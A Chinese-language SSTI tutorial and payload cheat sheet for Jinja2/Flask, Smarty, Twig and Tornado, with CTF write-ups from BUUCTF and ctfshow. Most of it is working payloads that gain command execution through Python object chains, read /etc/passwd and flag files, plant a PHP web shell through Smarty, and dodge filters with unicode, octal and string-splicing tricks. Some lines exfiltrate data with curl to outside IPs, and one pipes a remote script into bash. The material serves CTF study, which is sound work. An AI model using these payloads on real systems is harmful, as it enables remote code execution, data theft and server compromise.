服务端模板注入攻击

魔术函数

这里介绍几个常见的魔术函数,有助于后续的理解

  • __dict__

    类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里的对象的__dict__中存储了一些self.xxx的一些东西内置的数据类型没有__dict__属性每个类有自己的__dict__属性,就算存在继承关系,父类的__dict__ 并不会影响子类的__dict__对象也有自己的__dict__属性, 存储self.xxx 信息,父子类对象公用__dict__

  • __globals__

    该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。

  • __getattribute__()

    实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。

    1
    2
    3
    4
    5
    6
    7
    8
    __class__  返回类型所属的对象
    __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
    __base__ 返回该对象所继承的基类
    // __base__和__mro__都是用来寻找基类的

    __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
    __init__ 类的初始化方法
    __globals__ 对包含函数全局变量的字典的引用

利用方法

根据上面提到的类继承的知识,我们可以总结出一个利用方式(这也是python沙盒溢出的关键):从变量->对象->基类->子类遍历->全局变量 这个流程中,找到我们想要的模块或者函数。

常用语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{% set a="test" %}{{a}}      //设置变量
{% for i in ['t ','e ','s ','t '] %}{{i}}{%endfor%} //执行循环
{% if 25==5*5 %}{{"success"}}{% endif %} //条件执行

url_for //可以直接和__globals__配合,如:url_for.__globals__['__builtins__'],或者和string等配合,详情看迭代器部分
lipsum //flask的一个方法,可以直接和__globals__配合,如:lipsum.__globals__['__builtins__'],或者和string等配合,详情看迭代器部分
get_flashed_messages // flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
__dic__ // 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
current_app //应用上下文,一个全局变量

request 可以用于获取字符串来绕过,包括下面这些,此外,同样可以获取
open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json(Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样
{{ config.__class__.__init__.__globals__['os'].popen('ls').read()}}
g {{g}}得到<flask.g of 'flask_ssti'>

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{{7*7}}
{{config}}
{{''.__class__.__mro__[2].__subclasses__()}}
{{ [].__class__.__base__.__subclasses__()[40]('xxx').read() }}
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('xxx').read()}}

{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('dir').read()}}
{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}
{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}


怎么拼接都可以
{{config['__cl'+'ass__']['__in'+'it__']['__glo'+'bals__']['__buil'+'tins__']['e'+'val']("__im"+"port__('o'+'s').po"+"pen('cat /this_is_the_fl'+'ag.txt').read()")}}

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__['__glo'+'bals__'].values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("cat /flasklight/coomme_geeeett_youur_flek").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

{{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
读取文件类,<type 'file'> file位置一般为40,直接调用
[].__class__.__base__.__subclasses__()[40]('fl4g').read()
<class ‘site._Printer’> 调用os的popen执行命令

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /').read()}}
如果system被过滤,用os的listdir读取目录+file模块读取文件:

{{().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

<class 'subprocess.Popen'> 位置一般为258
{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /',shell=True,stdout=-1).communicate()[0].strip()}}

<class 'warnings.catch_warnings'>
一般位置为59,可以用它来调用file、os、eval、commands等

#调用file
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #把 read() 改为 write() 就是写文件
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

#调用eval
[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")
#调用system方法
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0
#调用commands进行命令执行
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')


?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls').read()}}

Jan’s payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{{config.__class__.__init__.__globals__['os'].popen('dir').read()}} 


{{lipsum.__globals__['os'].popen('dir').read()}}


{{url_for.__globals__.os.popen('whoami').read()}}

{{get_flashed_messages.__globals__.os.popen('whoami').read()}}

{{lipsum.__globals__.os.popen('whoami').read()}}

{{cycler.__init__.__globals__.os.popen('dir').read()}}

{{jacko_god.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

{{jacko|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")("__import__('os').popen('curl 175.24.73.30:2333?flag=`cat /f1agggghere`').read()")}}

也就是
jacko.__init__.__globals__.__getitem__["__builtins__"].__getitem__["eval"]("__import__('os').popen('curl 175.24.73.30:2333?flag=`cat /f1agggghere`').read()")
1
2
3
{{url_for.__getitem__['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('这里填写eval函数的内容,然后用unicode编码一下就行')}}

{{url_for.__getitem__['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0027\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u005f\u0069\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0035\u0032\u0064\u0061\u0061\u0064\u0027\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029')}}
1
2
3
4
5
6
过滤了{{ . [ _ \x request print string这些
{{ 用{%%}代替
. 用attr()代替
[ 用getitem()代替
\x 用Unicode代替
print,request,string 不用管用不到,直接执行命令就行

payload框架

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

使用这个框架可以不用回显就能拿到命令执行的eval方法

具体payload如下

1
http://127.0.0.1:5000/?id={%for%0ai%0ain%0a""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u006d\u0072\u006f\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(1)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()%}{%%0aif%0a(i|attr("\u005f\u005f\u006e\u0061\u006d\u0065\u005f\u005f"))=="\u0063\u0061\u0074\u0063\u0068\u005f\u0077\u0061\u0072\u006e\u0069\u006e\u0067\u0073"%0a%}{%%0aif%0a(i|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0065\u0076\u0061\u006c")("__import__('os').popen('curl http://47.xxxxxxx.241:2333 -d `cat /f*`').read()")%}{%%0aendif%0a%}{%%0aendif%0a%}{%%0aendfor%0a%}

image-20220724181240349

蓝色部分要Unicode编码一下,然后直接通过curl外带就行了

image-20220724181337164

Smarty
1
2
3
4
5
6
7
8
9
{{phpinfo()}}                     {if phpinfo()}{/if}
{{readfile('文件路径')}} {if readfile('文件路劲')}{/if}
{{show_soure('文件路径')}} {if show_source('文件路径')}{/if}
{{passthru('操作命令')}} {if passthru('操作命令')}{/if}
{{system('操作命令')}} {if system('操作命令')}{/if}
{{exec('操作命令')}} {if exec('操作命令')}{/if}
{{shell_exec('操作命令')}} {if shell_exec('操作命令')}{/if}

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Jinja2
1
2
3
4
5
6
7
8
9
10
11
Python2:
#(system函数换为popen('').read(),需要导入os模块)
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
#(不需要导入os模块,直接从别的模块调用)
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
#常用的py2 EXP
().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
{{config.__class__.__init__.__globals__['os'].popen('type flag.txt').read()}}

Python3:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
Twig
1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

详细讲述Flask

https://www.cnblogs.com/article-kelp/p/14797393.html

过滤及绕过

参考文章https://blog.csdn.net/miuzzx/article/details/110220425

1
You can use a dot (.) to access attributes of a variable in addition to the standard Python __getitem__ "subscript" syntax ([]). --官方原文

也就是说
除了标准的python语法使用点(.)外,还可以使用中括号([])来访问变量的属性。
比如

1
2
{{"".__class__}}
{{""['__classs__']}}

所以过滤了点,我们还可以用中括号绕过。
如果想调用字典中的键值,其本质其实是调用了魔术方法__getitem__
所以对于取字典中键值的情况不仅可以用[],也可以用__getitem__

当然对于字典来说,我们也可以用他自带的一些方法了。pop就是其中的一个

1
2
3
4
5
pop(key[,default])
参数
key: 要删除的键值
default: 如果没有 key,返回 default 值
删除字典给定键 key 所对应的值,返回值为被删除的值。key值必须给出。 否则,返回default值。

我们要使用字典中的键值的话,也可以用list.pop("var"),但大家最好不要用这个,除非万不得已,因为会删除里面的键,如果删除的是一些程序运行需要用到的,就可能使得服务器崩溃。然后过了一遍字典的方法,发现get和setdefault是个不错的选择

1
2
3
4
5
dict.get(key, default=None)
返回指定键的值,如果值不在字典中返回default值

dict.setdefault(key, default=None)
和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default
1
2
3
4
5
{{url_for.__globals__['__builtins__']}}
{{url_for.__globals__.__getitem__('__builtins__')}}
{{url_for.__globals__.pop('__builtins__')}}
{{url_for.__globals__.get('__builtins__')}}
{{url_for.__globals__.setdefault('__builtins__')}}

那么调用对象的方法具体是什么原理呢,其实他是调用了魔术方法__getattribute__

1
2
"".__class__
"".__getattribute__("__class__")

那我们就顺势讲一下字符串的一些处理方法。

1、拼接
"cla"+"ss"

2、反转
"__ssalc__"[::-1]

但是实际上我发现其实加号是多余的,在jinjia2里面,"cla""ss"是等同于"class"的,也就是说我们可以这样引用class,并且绕过字符串过滤

1
2
3
4
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])

3、ascii转换

1
2
"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

4、编码绕过

1
2
3
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
对于python2的话,还可以利用base64进行绕过
"__class__"==("X19jbGFzc19f").decode("base64")

5、利用chr函数
因为我们没法直接使用chr函数,所以需要通过__builtins__找到他

1
2
{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

6、在jinja2里面可以利用~进行拼接

1
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

7、大小写转换
前提是过滤的只是小写

1
""["__CLASS__".lower()]

attr

1
Get an attribute of an object. foo|attr("bar") works like foo.bar just that always an attribute is returned and items are not looked up.

也就是说 attr用于获取变量

例如

1
2
3
""|attr("__class__")
相当于
"".__class__

__getitem__

1
2
3
4
5
6
7
8
9
绕中括号限制
#即将mro_[2]等价于__getitem__(2)即可
''.__class__.__mro__.__getitem__(2)<-> 等价于''.__class__.__mro__[2]

#绕过方法2:利用pop(40)绕
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
#使用 .getlist()方法绕
blacklist = ["__","request[request.","__class__",'[',']']
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

format

1
Apply the given values to a printf-style format string, like string % values.

功能和我们前面讲到的字符串绕过中的format类似。
用法

1
{ "%s, %s!"|format(greeting, name) }}

那么我们想要调用__class__就可以用format了

1
2
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__'
""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]

first last random

1
2
3
Return the first item of a sequence.
Return the last item of a sequence.
Return a random item from the sequence.

前两个其实用处不是很大,因为他只能返回第一个值或者最后一个,当然,如果我们用的就是第一个或者最后一个那就ok了。 random的话是随机返回,这样我们跑个脚本肯定是可以得到我们想要的。

1
2
3
"".__class__.__mro__|last()
相当于
"".__class__.__mro__[-1]

join

1
2
3
4
5
6
7
8
9
Return a string which is the concatenation of the strings in the sequence. The separator between elements is an
empty string per default, you can define it with the optional parameter:

{{ [1, 2, 3]|join('|') }} -> 1|2|3

{{ [1, 2, 3]|join }} -> 123
It is also possible to join certain attributes of an object:

{{ users|join(', ', attribute='username') }}

于是我们又多了一种字符串拼接的方法

1
2
""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于 ""["__class__"]

lower

1
2
3
Convert a value to lowercase.
功能类似于前面的转换成小写
""["__CLASS__"|lower]

replace reverse

我们可以利用替换和反转还原回我们要用的字符串了

1
2
"__claee__"|replace("ee","ss") 构造出字符串 "__class__"
"__ssalc__"|reverse 构造出 "__class__"

string

功能类似于python内置函数 str
有了这个的话我们可以把显示到浏览器中的值全部转换为字符串再通过下标引用,就可以构造出一些字符了,再通过拼接就能构成特定的字符串

1
2
().__class__   出来的是<class 'tuple'>
(().__class__|string)[0] 出来的是<

select unique

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
()|select|string
结果如下
<generator object select_or_reject at 0x0000022717FF33C0>
这样我们会拥有比前面更多的字符来用于拼接
(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]

得到字符串"__class__"

list

转换成列表
更多的用途是配合上面的string转换成列表,就可以调用列表里面的方法取字符了
只是单纯的字符串的话取单个字符方法有限

1
2
3
4
5
6
(()|select|string)[0]
如果中括号被过滤了,挺难的
但是列表的话就可以用pop取下标了
当然都可以使用__getitem__

(()|select|string|list).pop(0)

比较烦的绕过

1
2
3
4
5
6
{%if(micgo|attr("__init__")|attr("__globals__")|attr("__getitem__")|attr("__builtins__")|attr("__getitem__")("eval")("__import__('os').popen('curl 124.223.30.79:91/1.txt|bash').read()")))%}1{%endif%}
八进制编码:
{%25if(micgo|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\165\162\154\40\61\62\64\56\62\62\63\56\63\60\56\67\71\72\71\61\57\61\56\164\170\164\174\142\141\163\150\47\51\56\162\145\141\144\50\51"))%25}1{%25endif%25}


{%print(()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[95]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\137\137\151\155\160\157\162\164\137\137"]("o""s")["\160\157\160\145\156"]("ls%09/")["\162\145\141\144"]())%}

[护网杯 2018]easy_tornado

img

依次尝试访问文件

img

img

img

变量 filename 的值总是为要访问的文件,再根据提示三和 filehash 三个不同的值猜测 filehash 的值为MD5加密后的字符串。

filename知道了,cookie_secret在哪呢?hints提示render,又根据题目easy_tornado,可推测是服务器模板注入。
因为render()是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。

那我们开始初步尝试:

1
/file?filename=/fllllllllllllag&filehash={{1}}

得到关键报错信息:

发现存在模板注入
在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名

1
2
RequestHandler.settings
An alias for self.application.settings.

handler指向的处理当前这个页面的RequestHandler对象,

1
RequestHandler.settings指向self.application.settings

因此handler.settings指向RequestHandler.application.settings。

构造payload获取cookie_secret

1
/error?msg={{handler.settings}}

得到cookie_secret: 7837cb65-a58d-4897-9e1e-efdebe9b75b5

image-20220515094256956

[WesternCTF2018]shrine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])
+ s

return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)

首先在shrine路径下测试ssti能正常执行
/shrine/{{ 2+2 }}

图片.png

分析源码

1
app.config['FLAG'] = os.environ.pop('FLAG')

注册了一个名为FLAG的config,猜测这就是flag,如果没有过滤可以直接即可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号

1
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

上面这行代码把黑名单的东西遍历并设为空,例如:/shrine/

不过python还有一些内置函数,比如url_for和get_flashed_messages

url_for.globals

图片.png

看到current_app意思应该是当前app,那我们就当前app下的config:

1
/shrine/{{url_for.__globals__['current_app'].config}}

图片.png

get_flashed_messages

返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。

同理

1
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

图片.png

[Web_python_template_injection]

image-20220515144828448

image-20220515144832073

[BJDCTF 2nd]fake google

先来看看哪些可用的模块

1
2
[].__class__.__bases__[0].__subclasses__() 或  [].__class__.__base__.__subclasses__()
---查看可用模块

大部分都是先查找warnings.catch_warnings模块中的OS模块

当前warnings.catch_warnings模块在第169个(从0开始的)

1
2
{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}
得到flag

[CSCCTF 2019 Qual]FlaskLight

这样不行,把[]换成 ‘’ 或者 “” 就可以……不知道为啥

image-20220518073817278

image-20220517230353192

1
经过查询后,可以借助的类<class 'warnings.catch_warnings'>,没有内置os模块在第59位。<class 'site._Printer'> 内含os模块 在第71位,可以借助这些类来执行命令

好不容易找到warnings.catch_warnings , 拿出payload却运行不了

image-20220517230615633

原因是存在过滤,过滤了”globals” , 采取拼接的方式绕过

image-20220517232459130

还可以

image-20220517232229766

不含os模板的类warnings.catch_warnings

image-20220518075423510

内含os模块的类 class’site._Printer’
1
2
3
4
5
6
7
 a. 目录查询
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
因为这里listdir同样被ban了
b. 读取目录flasklight
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}}
c. 读取flag
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()}}
<class ‘ubprocess.Popen’>
1
?search={{[].__class__.__base__.__subclasses__()[258]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

别人用来找可用类的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import re
import html
import time

index = 0
for i in range(0, 1000):
try:
url = "http://0b65f501-517f-4277-902c-36841e45f72a.node4.buuoj.cn:81/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
r = requests.get(url)
res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)#res[0]数组存储回显
#time.sleep(0.1)
res = html.unescape(res[0])#反转义字符串
print(str(i) + " | " + res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("indexo of subprocess.Popen:" + str(index))

#258 | <class 'subprocess.Popen'>
#59 | <class 'warnings.catch_warnings'>
#71 | <class 'site._Printer'>

最好用的payload但有可能被检测过滤,作为储存配置信息的变量config刚好对应的就是一个非常合适的类,因为这个类中__init__函数全局变量中已经导入了 “os” 模块,我们可以直接调用

1
{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}

image-20220518210502621

1
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__['__glo'+'bals__'].values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("cat /flasklight/coomme_geeeett_youur_flek").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

image-20220518212319176

[GYCTF2020]FlaskApp

非常有意思的一道题,值得一看

试着读取源码

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
1
2
3
4
5
6
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1

可以利用字符串拼接,来绕过黑名单

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

可以找到结果中有this_is_the_flag文件

读文件也是可以字符串拼接来绕过

1
{% for c in [].__class__.__base__.__subclasses__() %}{%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/this_is_the_f'+'lag.txt','r').read()}}{% endif %}{% endfor %}

还有种奇怪的姿势,倒序文件名 ‘ txt.galf_eht_si_siht/ ‘[::-1]

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
预期解pin码

Flask debug 模式 PIN 码生成机制安全性研究笔记

ctfshow

web363

这里的思路和上一题差不多!但是我们需要进行一定的构造!
经过一番尝试后发现过滤了单双引号!所以这里就要用到了request.args.x1 get传参这个来进行绕过了!

在这里插入图片描述

web364

这里不能使用了get和post进行绕过,所以我们采用了cookie来进行绕过!

在这里插入图片描述

1
2
http://19bf20fd-fb45-4d05-8d00-612ebf6e92c9.challenge.ctf.show:8080/?name={{().x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
Cookie: x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

web365

这里中括号是不能使用了,采用的是 __ getitem __ 这种方式进行绕过!

在这里插入图片描述

1
2
http://c10f9098-9892-4da6-923d-7289bf23b70f.challenge.ctf.show:8080/?name={{().x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}}
Cookie: x1=__builtins__;x2=__import__('ox').popen('cat /flag').read()

还有一种方法,这是看师傅来的一个比较简单的构造!

1
2
?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag
web366

这里直接ban了下划线!

1
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.**globals**['os'].popen('ls').read()}}

在这里插入图片描述

1
2
http://0d80ec51-c99e-48bf-9c2a-95183a6b0fab.challenge.ctf.show:8080/?name={{(lipsum|attr(request.cookies.x1)).os.popen(request.cookies.x2).read()}}
Cookie: x1=__globals__;x2=cat /flag
1
2
?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()
web367

这里是可以使用上面的第二个骚操作的!

1
2
?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

这里是ban了os的,我们可以把os进行传参绕过!

在这里插入图片描述

1
http://891667b0-1429-458a-a356-be9f56ff2fc5.challenge.ctf.show:8080/?a=__globals__&b=os&c=cat /flag&name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}
web368

过滤了,使用{%%}绕过

1
2
3
4
?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%print(aaa.open(request.cookies.x5).read())%}
headers={'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=/flag'''}
r=requests.get(url,headers=headers)
print(r.text)
1
2
?name={% print(((lipsum|attr(request.cookies.c))|attr(request.cookies.d)(request.cookies.a)).popen(request.cookies.b).read())%}
Cookie:a=os;b=cat /flag;c=__globals__;d=__getitem__

参考文章

https://zhuanlan.zhihu.com/p/28823933

https://blog.csdn.net/weixin_44477223/article/details/115673318